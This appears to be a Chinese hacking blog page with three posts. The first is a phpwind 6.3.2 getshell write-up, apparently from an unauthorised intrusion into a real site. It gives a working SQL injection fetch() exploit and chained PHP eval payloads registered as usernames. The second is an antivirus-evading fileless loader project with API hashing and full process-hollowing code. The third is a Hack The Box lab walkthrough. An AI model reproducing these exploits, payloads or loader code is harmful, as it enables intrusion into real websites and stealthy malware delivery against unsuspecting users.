因为某种不可抗力原因,Join按钮得右键新标签页打开( 或者 @bie_channel
不来关注一个吗?
2020-03-21 | 黑科技
phpwind 6.3.2 前/后台getshell
2021-02-28 | 黑科技
起因 && TIPS
如果后台开启了首页生日显示,那么就可以前台getshell
因为日到了某些远古站用的是6.3.2,幸苦拿下了后台,但是没办法getshell。本来想直接备份走人的,但是似乎当前的权限不够备份数据
然后旁站和子域名and其他信息搜集了一堆打不下来。
虽说后台注入很多,比如修复表啊
然而这里是的语句没办法注入,但是在 扩展功能 -> 网上支付 那里,可以有一个select和insert类型的注入。
以下是某x子大佬写的注入的exp
payload=prompt("payload?","' and extractvalue(1,concat(0x7e,( ),0x7e)) #")
payload=encodeURIComponent(payload)
fetch("https://********/后台地址.php?adminjob=userpay&verify=******&", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded",
"pragma": "no-cache",
"sec-fetch-dest": "iframe",
"sec-fetch-mode": "navigate",
"sec-fetch-site": "same-origin",
"sec-fetch-user": "?1",
"upgrade-insecure-requests": "1"
},
"referrer": "https://******/后台地址.php?adminjob=userpay",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "action=currrate&userpay%5Bol_onlinepay%5D=0&userpay%5Bol_whycolse%5D=1&userpay%5Bol_tenpay%5D=adawcft&userpay%5Bol_a" + payload + "%5D=&userpay%5Bol_payto%5D=&userpay%5Bol_paypal%5D=&userpay%5Bol_paypalcode%5D=luqH6DDbionEDFHTEnwtMpqiyZMlLspNWQimPEgH&userpay%5Bol_99bill%5D=&userpay%5Bol_99billcode%5D=",
"method": "POST",
"mode": "cors",
"credentials": "include"
}).then(d=>d.text()).then(c=>{document.querySelector('body').innerHTML="";document.write(c);});
用法是直接在后台f12然后在括号中输入sql语句就行
扫了一波sql权限很低然后密码字段bcrtpy加密了解不开
原本想着insert一个管理者权限的管理员,或者找一个update类型的诸如点,把管理员的密码改成我们当前打下来的这个用户的密码,然后看了下代码,tmd管理者权限是硬编码到php里的。就只好想办法用其他方式了。
分析
首先定位漏洞点
发现一个写道php的操作,然后跟进
发现写文件操作并没有过滤!
那我们二话不说注册一个账户,用户名为';phpinfo();//
绕过成功。
然后我正想着,直接用eval走上去的时候,一看
没办法,最后只能注册多个用户写出payload了。
payload如下
';$a="_GET";'
';$b=$$a;'
';$c=$b[a];'
';$x=$c;'
';eval($x);'
总结
所以如果6.3.2默认开启首页显示生日用户的话,就可以用这个方法,注册5个用户,用户名为上图,然后生日设置成明天,然后12点一过就可以上去梭哈了。
然而这也有局限性,你得保证当天用户生日数量不大于195,因为代码中默认显示200个,所以超过200会挤掉。而我们新注册的id很靠后,所以绝对是会被挤掉的。所以你只能祈祷了。
如果你是管理员就好办了。自己添加几个用户然后开启这个功能,瞬间就能打了。当然,你也会遇到大于200问题,不过这时候好办,你可以用上面的诸如点,用如下语句SELECT email FROM pw_members WHERE MONTH(bday)='月份' AND DAYOFMONTH(bday)='日期'
来查找当天过生日的id比较靠前的用户,然后直接用后台系统管理功能,修改的用户名为我们payload,然后再开启首页生日显示。就ok了
无文件下载者计划 & 连载
2021-02-21 | 随便写的什么奇怪的东西,技术文章
前言 & 挖坑
项目地址:9bie / RmExecute
最近流行文件不落地,然后因为jio本又被杀的多了,辣么有什么办法快速弄出不落地免杀效果又好的东西呢?
对没错就整个shellcode的payload吧,可以用某种 “伪” 方法把一些exe弄成不落地and shellcode得到形式。
目前设想有直接用VS2017,弄个下载者的payload,调用win32 API,然后下载DLL/EXE,直接内存加载。
这样虽然不是严格意义上的payload,但是这是最简单的方法
或者使用反射DLL方法,直接在内存中展开。这就是比较主流and常规的用法了。不过直接payload整反射DLL似乎有点难。
按照我这破水平,估计就是先远程下载内存加载反射DLL的DLL然后再由反射DLL去下载DLL payload再反射加载。
emmm怎么感觉有点饶,不过应该就这样吧。
研究资料
- 编写并提取简易shellcode
- windows下shellcode提取模板的实现
- 反射式DLL注入 ReflectiveDLLInjection
- stephenfewer/ReflectiveDLLInjection
- reflect-pe
开始
首先,这次我们不从0开始写shellcoded了。直接整个shellcode框架。这里我们使用上面第二个链接的RcDllShelcode
作为开头项目,因为这个框架比较简单(我看得懂,顺带强烈推荐这个作者的文章
分析的十分好,简明直观的点出了然而初步检查下来之后发现,这个作者的api实现部分是直接使用字符串来定位api地址。这会导致shellcode变得十分容易分析。
这时候我们就可以参考别的项目文件
这里我参考了PIC_Bindshell 这个项目,写的也很好,然而我已经使用上面那个项目作为入口了,就还是继续用上面那个吧。这个项目的API项目和我之前那个方法差不多,只不过别人的更加优雅,人家是PEB找getprocxxxx那个api之后,直接计算hash就能得出函数在文件中的地址,之后就可以直接调用了。。当然缺点也有,就是得自己预先硬编码一个hash表,略微的麻烦,但是也至少比直接字符串搜索api地址比较好。
相关原理在这里:详解Windows API Hashing技术
PIC_Bindshell
使用的是RORT32加密hash,但是人家作者给出了计算脚本,省去了我们去编写的麻烦。直接脱下来使用。
之后就是开始计算我们第一阶段需要的WINAPI了。
基础的有msvcrt所需的几个常用功能,memcpy,memset,malloc,free
这些,之后就是WinHttpOpen,WinHttpOpenRequest
这些函数,全部加入我们所需的hashmaping里,很轻松的我们就有如下
之后,我们首先先整个下载功能
下载功能
同上,故技重施
之后就是一系列黑魔法调用winapi。。。总而言之。。我们成功的完成了下载功能。
内存运行
之后,我们当然就是直接借鉴(抄)一份,内存运行的代码啦。
直接贴上代码
bool RunPortableExecutable()
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase = NULL;; //Base address of the image
void* pImageBase = NULL;; // Pointer to the image base
char CurrentFilePath[MAX_PATH];
DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize
fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
//ZeroMemory(&PI, sizeof(PI)); // Null the memory
//ZeroMemory(&SI, sizeof(SI)); // Null the memory
fn.fnmemset(&PI, 0, sizeof(PI));
fn.fnmemset(&SI, 0, sizeof(SI));
if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
//fix randomly crash
if (pImageBase == 0) {
fn.fnResumeThread(PI.hThread);
return 1;
}
else {
// Write the image to the process
fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40));
fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
fn.fnResumeThread(PI.hThread); //?Start the process/call main()
}
return true; // Operation was successful.
}
}
}
return false;
}
怎么说,效果拔群
特地选了个比较古老并且特征比较明显的试了下某数字,完全无弹窗也无响应(当然和我没有写启动有很大的关系。
至此,咱们首要的目标就这么完成啦!
进阶 - payload加密
虽说我们的API使用了winapi hashing技术,然而再查找地址前的loadlibrary中引用的那些DLL名称以及我们url地址我们也都没有进行加密,比较推荐的是XOR加密,base64加密也不是不可以,但是base64的硬编码了一个base64表特征也十分明显,当然也可以打乱base64表增加逆向难度。。。然而CTF考过多少次了应该没有人解不开打乱b64表之后的内容不会吧不会吧不会吧?
XOR比起base64,短小高效,虽然对着明眼人可能一眼就看出来是XOR加密,但是在本来就短小的shellcode中比起一整个base64表,xor已经是十分小巧且可以接受的,我才不会说是我懒得写base64呢。
进阶2 - 反射DLL
虽然说我们已经完成了内存加载并且成功的免杀无弹窗上线了,然而在下发可执行文件的时候,一下下发一整个文件过去,可能会有大量的代码我们是暂时用不到的,并且这样可能增大了被dump分析的风险。
那么我们有没有办法,再想要的时候,获取到这部分代码片段,再下载执行呢?
有两个办法,一个是把功能全部shellcode片段化,让每个功能都成为shellcode,这样太奢侈也太麻烦了。(俺觉得就算是APT也不会这样搞)。所以另外一个技术诞生了。
那就是反射DLL执行,原理和内存执行exe差不多,只不过我们是把DLL精简成"最小PE"的模式,之后把这部分dump下来,手动修补再RVA展开执行。
//未完待续
htb初探
2021-02-19 | 随便写的什么奇怪的东西,技术文章
前言
昨天才开的坑,今天就开始摸鱼了。。在家里练琴练了一天。。。等等,好像练琴才是我的专业来着?不管了
于是乎,练了无聊了,就突然叫九世有没有啥靶场玩,然后九世九发来了个htb
开始
注册htb这些啥的就不说了,就是js泄露一个api然后post就行注册。
之后直接下载ovpn进他们内网直接打靶场
经理了各种奇怪的东西,我们终于连上了。
开打
直接对着目标,御剑s扫描器走起
IP:10.10.10.215
portscan:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
webinfo:
http://academy.htb/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.215], Title[Hack The Box Academy]
WebPath:
/Images
/server-status
/login.php
/register.php
/admin.php
初步断定就开个web,好的直接访问web。。。
跳转到一个域名然后显示dns访问失败。
手动加一下hosts
10.10.10.215 academy.htb
之后就可以进web了。
对着对着上面御剑出来的结果,先去register.php
注册个用户。
然后登录,登陆后界面如下
稍微看了下,似乎是一个成熟的cms,唯一比较可疑的就是url。这时候我们先不深挖,把这个放到一边
然后我们去看admin.php
和server-status
这两个
其中server-status
403了,也不管,admin.php弱口令走起,admin / admin
。
洋文不好我也不知道进没进去,但是我发现了一个新的资产
dev-staging-01
,访问了下,一眼就看出是larvaral,还是开启的debug。
这时候,脑内直接biu出几个lar那啥我不会拼的RCE,最后对照
直接秒掉
用时不到十分钟
提权
摸了会儿鱼(
系统版本是
`Linux academy 5.4.0-52-generic #57-Ubuntu SMP Thu Oct 15 10:57:00
UTC 2020 x86_64 x86_64 x86_64 GNU/Linux`
看样子很新,脑内想不出啥exp
然后mysql权限也不高,查看/home
的时候,发现了
结合后台登陆后的
Complete initial set of modules (cry0l1t3 / mrb3n)
这时候基本已经猜到了攻击流程。
虽然不知道是否正确,但是按照这个思路走走看
数据库tmd一读(然而其实是在web目录下的.env的配置文件读到密码)。ssh就这么一登(撞了好几个用户)。
哟西,上去了,然而和预想有点偏差。。
这时候我才发现分为user flag和root flag。那是我太天真了。
那接下来就是继续提权去拿root flag了。
接下来就是漫长的提权之旅。。
因为我的jio本不知道为啥跑不起来。。于是乎我就先手动看看,想着之后再跑自动收集jio本也就是
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
如何提权?高权进程SUID自运行脚本日志以及文件劫持等等。。。
其中,我发现tmp下有奇怪的tmp文件,里面有composer.json
文件。。然后还不放你访问,一看用户是mrb3n。
这个用户再passwd
中id比我们前一号,并且之前web页面也出现这个用户,所以基本断定要先登录这个用户了。。
正在我一筹莫展想着咋过去时,九世出了个好消息
成功用jio本收集到了mrb3n
用户的密码
然后还有提示
基本提权方式就是,https://gtfobins.github.io/gtfobins/composer/
自此基本结束
双双和九世拿着flag把家还,呸,各回各家,各找各妈
总结
靶场还挺好玩,没有想象中的无聊,但是也没有想象中的刺激。
总之就这么多了,先溜了。